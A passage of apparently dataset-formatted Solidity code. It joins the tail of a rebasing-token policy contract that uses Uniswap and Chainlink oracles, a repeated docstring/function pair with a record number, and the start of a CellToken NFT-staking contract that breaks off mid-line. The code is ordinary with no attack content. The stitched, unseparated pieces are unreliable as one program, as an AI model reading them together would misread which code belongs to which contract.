maxRebaseRatio.sub(BASE) : BASE.sub((BASE*BASE).div(maxRebaseRatio))); return (indexDelta <= maxIndexDelta ? indexDelta : maxIndexDelta); } /** * @notice Sets the rebase lag parameter. It is used to dampen the applied supply adjustment by 1 / rebaseLag If the rebase lag R, equals 1, the smallest value for R, then the full supply correction is applied on each rebase cycle. If it is greater than 1, then a correction of 1/R of is applied on each rebase. * @param rebaseLag_ The new rebase lag parameter. */ function setRebaseLag(uint256 rebaseLag_) external onlyOwner { require(rebaseLag_ > 0); rebaseLag = rebaseLag_; } /** * @notice Sets the targetRate parameter. * @param targetRate_ The new target rate parameter. */ function setTargetRate(uint256 targetRate_) external onlyOwner { require(targetRate_ > 0); targetRate = targetRate_; } /** * @notice Sets the parameters which control the timing and frequency of * rebase operations. * a) the minimum time period that must elapse between rebase cycles. * b) the rebase window offset parameter. * c) the rebase window length parameter. * @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase * operations, in seconds. * @param rebaseWindowOffsetSec_ The number of seconds from the beginning of the rebase interval, where the rebase window begins. * @param rebaseWindowLengthSec_ The length of the rebase window in seconds. */ function setRebaseTimingParameters( uint256 minRebaseTimeIntervalSec_, uint256 rebaseWindowOffsetSec_, uint256 rebaseWindowLengthSec_) external onlyOwner { require(minRebaseTimeIntervalSec_ > 0); require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_); require(rebaseWindowOffsetSec_ + rebaseWindowLengthSec_ <= minRebaseTimeIntervalSec_); // FIX: [<] -> [<=] to allow window length to span whole interval if needed minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_; rebaseWindowOffsetSec = rebaseWindowOffsetSec_; rebaseWindowLengthSec = rebaseWindowLengthSec_; } /** * @return If the latest block timestamp is within the rebase time window it, returns true. * Otherwise, returns false. */ function inRebaseWindow() public view returns (bool) { // rebasing is delayed until there is a liquid market _inRebaseWindow(); return true; } function _inRebaseWindow() internal view { // rebasing is delayed until there is a liquid market require(rebasingActive, "rebasing not active"); require(now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec, "too early"); require(now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec)), "too late"); } function isRebaseEffective() external view returns (bool) { return rebasingActive && now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec && now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec)) && lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) <= now && !withinDeviationThreshold(getCurrentTWAP(), getCurrentTargetRate()) ; } /** * @return Computes in % how far off market is from peg */ function computeOffPegPerc(uint256 rate) internal view returns (uint256, bool) { if (withinDeviationThreshold(rate, targetRate)) { return (0, false); } // indexDelta = (rate - targetRate) / targetRate if (rate > targetRate) { return (rate.sub(targetRate).mul(BASE).div(targetRate), true); } else { return (targetRate.sub(rate).mul(BASE).div(targetRate), false); } } /** * @param _currentRate The current exchange rate, an 18 decimal fixed point number. * @param _targetRate The current target rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 _currentRate, uint256 _targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = _targetRate.mul(deviationThreshold) .div(10 ** 18); return (_currentRate >= _targetRate && _currentRate.sub(_targetRate) < absoluteDeviationThreshold) || (_currentRate < _targetRate && _targetRate.sub(_currentRate) < absoluteDeviationThreshold); } /* - Constructor Helpers - */ // calculates the CREATE2 address for a pair without making any external calls function pairFor( address factory, address token0, address token1 ) internal pure returns (address pair) { pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens( address tokenA, address tokenB ) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } /* -- Rebase helpers -- */ /** * @notice Adds a transaction that gets called for a downstream receiver of rebases * @param destination Address of contract destination * @param data Transaction data payload */ function addTransaction(address destination, bytes calldata data) external onlyOwner { transactions.push(Transaction({ enabled: true, destination: destination, data: data })); } /** * @param index Index of transaction to remove. * Transaction ordering may have changed since adding. */ function removeTransaction(uint index) external onlyOwner { require(index < transactions.length, "index out of bounds"); if (index < transactions.length - 1) { transactions[index] = transactions[transactions.length - 1]; } // transactions.length--; transactions.pop(); } /** * @param index Index of transaction. Transaction ordering may have changed since adding. * @param enabled True for enabled, false for disabled. */ function setTransactionEnabled(uint index, bool enabled) external onlyOwner { require(index < transactions.length, "index must be in range of stored tx list"); transactions[index].enabled = enabled; } /** * @dev wrapper to call the encoded transactions on downstream consumers. * @param destination Address of destination contract. * @param data The encoded data payload. * @return True on success */ function externalCall(address destination, bytes memory data) internal returns (bool) { bool result; assembly { // solhint-disable-line no-inline-assembly // "Allocate" memory for output // (0x40 is where "free memory" pointer is stored by convention) let outputAddress := mload(0x40) // First 32 bytes are the padded length of data, so exclude that let dataAddress := add(data, 32) result := call( // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) // + callValueTransferGas (9000) + callNewAccountGas // (25000, in case the destination address does not exist and needs creating) sub(gas(), 34710), destination, 0, // transfer value in wei dataAddress, mload(data), // Size of the input, in bytes. Stored in position 0 of the array. outputAddress, 0 // Output is ignored, therefore the output size is zero ) } return result; } // Gives governance ability to recover any ERC20 tokens mistakenly sent to this contract address. function recoverERC20( address token, address to, uint256 amount ) external onlyOwner returns (bool) { return IERC20(token).transfer(to, amount); } function setTargetRateOracle1(AggregatorV3Interface oracleAddress_) public onlyOwner { targetRateOracle1 = oracleAddress_; } function setTargetRateOracle2(AggregatorV3Interface oracleAddress_) public onlyOwner { targetRateOracle2 = oracleAddress_; } function setTargetRateOracleDecimals(uint256 targetRateOracleDecimals_) public onlyOwner { targetRateOracleScale = 10**targetRateOracleDecimals_; } function getTargetRateOracle1Price() public view returns (uint256) { return getChainLinkOraclePrice(targetRateOracle1); } function getTargetRateOracle2Price() public view returns (uint256) { return getChainLinkOraclePrice(targetRateOracle2); } function getUniswapPairAddress() public view returns (address) { return uniswapPair; } function getChainLinkOraclePrice(AggregatorV3Interface chainLinkOracle) internal view returns (uint256) { ( , // uint80 roundID, uint price, , // uint startedAt, uint timeStamp, // uint80 answeredInRound ) = chainLinkOracle.latestRoundData(); require(timeStamp > 0, "Round not complete"); // If the round is not complete yet, timestamp is 0 return price; } function getCurrentTargetRate() public view returns (uint256) { if (address(targetRateOracle1) != address(0)) { if (address(targetRateOracle2) != address(0)) { // Two oracle mode (i.e.: 1: [comodity/USD], 2: [ETH/USD]; [base/quote]) return getChainLinkOraclePrice(targetRateOracle1).mul(BASE).div(getChainLinkOraclePrice(targetRateOracle2)); // [comodity/USD] / [ETH/USD] = [comodity/USD] * [USD/ETH] = [comodity/ETH]) } else { // Single oracle mode (direct), scale is important return getChainLinkOraclePrice(targetRateOracle1).mul(BASE).div(targetRateOracleScale); } } else if (address(targetRateOracle2) != address(0)) { // Single oracle mode (inverted), scale is important return BASE.mul(targetRateOracleScale).div(getChainLinkOraclePrice(targetRateOracle2)); } else { // No oracle mode, fixed targetRate return targetRate; } } function updateTargetRate() public returns (bool) { AggregatorV3Interface _targetRateOracle1 = targetRateOracle1; // cache storage values to save duplicit SLOAD gas AggregatorV3Interface _targetRateOracle2 = targetRateOracle2; if (address(_targetRateOracle1) != address(0)) { if (address(_targetRateOracle2) != address(0)) { // Two oracle mode (i.e.: 1: [comodity/USD], 2: [ETH/USD]; [base/quote]) targetRate = getChainLinkOraclePrice(_targetRateOracle1).mul(BASE).div(getChainLinkOraclePrice(_targetRateOracle2)); // [comodity/USD] / [ETH/USD] = [comodity/USD] * [USD/ETH] = [comodity/ETH]) } else { // Single oracle mode (direct), scale is important targetRate = getChainLinkOraclePrice(_targetRateOracle1).mul(BASE).div(targetRateOracleScale); } } else if (address(_targetRateOracle2) != address(0)) { // Single oracle mode (inverted), scale is important targetRate = BASE.mul(targetRateOracleScale).div(getChainLinkOraclePrice(_targetRateOracle2)); } else { // No oracle mode, fixed targetRate } return true; } }
Adds a transaction that gets called for a downstream receiver of rebases destination Address of contract destination data Transaction data payload/
function addTransaction(address destination, bytes calldata data) external onlyOwner { transactions.push(Transaction({ enabled: true, destination: destination, data: data })); }
7,267,204
/** *Submitted for verification at Etherscan.io on 2022-02-17 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.0; // Part: OpenZeppelin/[email protected]/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // Part: OpenZeppelin/[email protected]/IERC165 /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // Part: OpenZeppelin/[email protected]/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/[email protected]/IERC20Metadata /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // Part: OpenZeppelin/[email protected]/IERC721 /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // Part: OpenZeppelin/[email protected]/Ownable /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // Part: OpenZeppelin/[email protected]/ERC20 /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // Part: OpenZeppelin/[email protected]/IERC721Enumerable /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // Part: ISheetFighterToken interface ISheetFighterToken is IERC721Enumerable { /// @notice Update the address of the CellToken contract /// @param _contractAddress Address of the CellToken contract function setCellTokenAddress(address _contractAddress) external; /// @notice Update the address which signs the mint transactions /// @dev Used for ensuring GPT-3 values have not been altered /// @param _mintSigner New address for the mintSigner function setMintSigner(address _mintSigner) external; /// @notice Update the address of the bridge /// @dev Used for authorization /// @param _bridge New address for the bridge function setBridge(address _bridge) external; /// @dev Withdraw funds as owner function withdraw() external; /// @notice Set the sale state: options are 0 (closed), 1 (presale), 2 (public sale) -- only owner can call /// @dev Implicitly converts int argument to TokenSaleState type -- only owner can call /// @param saleStateId The id for the sale state: 0 (closed), 1 (presale), 2 (public sale) function setSaleState(uint256 saleStateId) external; /// @notice Mint up to 20 Sheet Fighters /// @param numTokens Number of Sheet Fighter tokens to mint (1 to 20) function mint(uint256 numTokens) external payable; /// @notice "Print" a Sheet. Adds GPT-3 flavor text and attributes /// @dev This function requires signature verification /// @param _tokenIds Array of tokenIds to print /// @param _flavorTexts Array of strings with flavor texts concatonated with a pipe character /// @param _signature Signature verifying _flavorTexts are unmodified function print( uint256[] memory _tokenIds, string[] memory _flavorTexts, bytes memory _signature ) external; /// @notice Bridge the Sheets /// @dev Transfers Sheets to bridge /// @param tokenOwner Address of the tokenOwner who is bridging their tokens /// @param tokenIds Array of tokenIds that tokenOwner is bridging function bridgeSheets(address tokenOwner, uint256[] calldata tokenIds) external; /// @notice Update the sheet to sync with actions that occured on otherside of bridge /// @param tokenId Id of the SheetFighter /// @param HP New HP value /// @param luck New luck value /// @param heal New heal value /// @param defense New defense value /// @param attack New attack value function syncBridgedSheet( uint256 tokenId, uint8 HP, uint8 luck, uint8 heal, uint8 defense, uint8 attack ) external; /// @notice Return true if token is printed, false otherwise /// @param _tokenId Id of the SheetFighter NFT /// @return bool indicating whether or not sheet is printed function isPrinted(uint256 _tokenId) external view returns(bool); /// @notice Returns the token metadata and SVG artwork /// @dev This generates a data URI, which contains the metadata json, encoded in base64 /// @param _tokenId The tokenId of the token whos metadata and SVG we want function tokenURI(uint256 _tokenId) external view returns (string memory); } // Part: OpenZeppelin/[email protected]/ERC20Burnable /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); unchecked { _approve(account, _msgSender(), currentAllowance - amount); } _burn(account, amount); } } // File: CellToken.sol /// @title Contract creating fungible in-game utility tokens for the Sheet Fighter game /// @author Overlord Paper Co /// @notice This defines in-game utility tokens that are used for the Sheet Fighter game /// @notice This contract is HIGHLY adapted from the Anonymice $CHEETH contract /// @notice Thank you MouseDev for writing the original $CHEETH contract! contract CellToken is ERC20Burnable, Ownable { uint256 public constant MAX_WALLET_STAKED = 10; uint256 public constant EMISSIONS_RATE = 115_740_740_740_741; // 10 $CELL per day = (10*1e18)/(60*60*24) uint256 public constant MAX_CELL = 1e26; /// @notice Address of SheetFighterToken contract address public sheetFighterTokenAddress; /// @notice Map SheetFighter id to timestamp staked mapping(uint256 => uint256) public tokenIdToTimeStamp; /// @notice Map SheetFighter id to staker's address mapping(uint256 => address) public tokenIdToStaker; /// @notice Map staker's address to array the ids of all the SheetFighters they're staking mapping(address => uint256[]) public stakerToTokenIds; /// @notice Address of the Polygon bridge address public bridge; /// @notice Construct CellToken contract for the in-game utility token for the Sheet Fighter game /// @dev Set sheetFighterTokenAddress, ERC20 name and symbol, and implicitly execute Ownable contructor constructor(address _sheetFighterTokenAddress) ERC20('Cell', 'CELL') Ownable() { sheetFighterTokenAddress = _sheetFighterTokenAddress; } /// @notice Update the address of the SheetFighterToken contract /// @param _contractAddress Address of the SheetFighterToken contract function setSheetFighterTokenAddress(address _contractAddress) external onlyOwner { sheetFighterTokenAddress = _contractAddress; } /// @notice Update the address of the bridge /// @dev Used for authorization /// @param _bridge New address for the bridge function setBridge(address _bridge) external onlyOwner { bridge = _bridge; } /// @notice Stake multiple Sheets by providing their Ids /// @param tokenIds Array of SheetFighterToken ids to stake function stakeByIds(uint256[] calldata tokenIds) external { require( stakerToTokenIds[msg.sender].length + tokenIds.length <= MAX_WALLET_STAKED, "Must have less than 10 Sheets staked!" ); for (uint256 i = 0; i < tokenIds.length; i++) { require( ISheetFighterToken(sheetFighterTokenAddress).ownerOf(tokenIds[i]) == msg.sender, "You don't own this Sheet!" ); require(tokenIdToStaker[tokenIds[i]] == address(0), "Token is already being staked!"); // Transfer SheetFighterToken to this (CellToken) contract ISheetFighterToken(sheetFighterTokenAddress).transferFrom( msg.sender, address(this), tokenIds[i] ); // Update staking variables in storage stakerToTokenIds[msg.sender].push(tokenIds[i]); tokenIdToTimeStamp[tokenIds[i]] = block.timestamp; tokenIdToStaker[tokenIds[i]] = msg.sender; } } /// @notice Unstake all of your SheetFighterTokens and get your rewards /// @notice This function is more gas efficient than calling unstakeByIds(...) for all ids /// @dev Tokens are iterated over in REVERSE order, due to the implementation of _remove(...) function unstakeAll() external { require( stakerToTokenIds[msg.sender].length > 0, "You have no tokens staked!" ); uint256 totalRewards = 0; // Iterate over staked tokens from the BACK of the array, because // the _remove() function, which is called by _removeTokenIdFromStaker(), // is far more gas efficient when called on elements further back for (uint256 i = stakerToTokenIds[msg.sender].length; i > 0; i--) { uint256 tokenId = stakerToTokenIds[msg.sender][i - 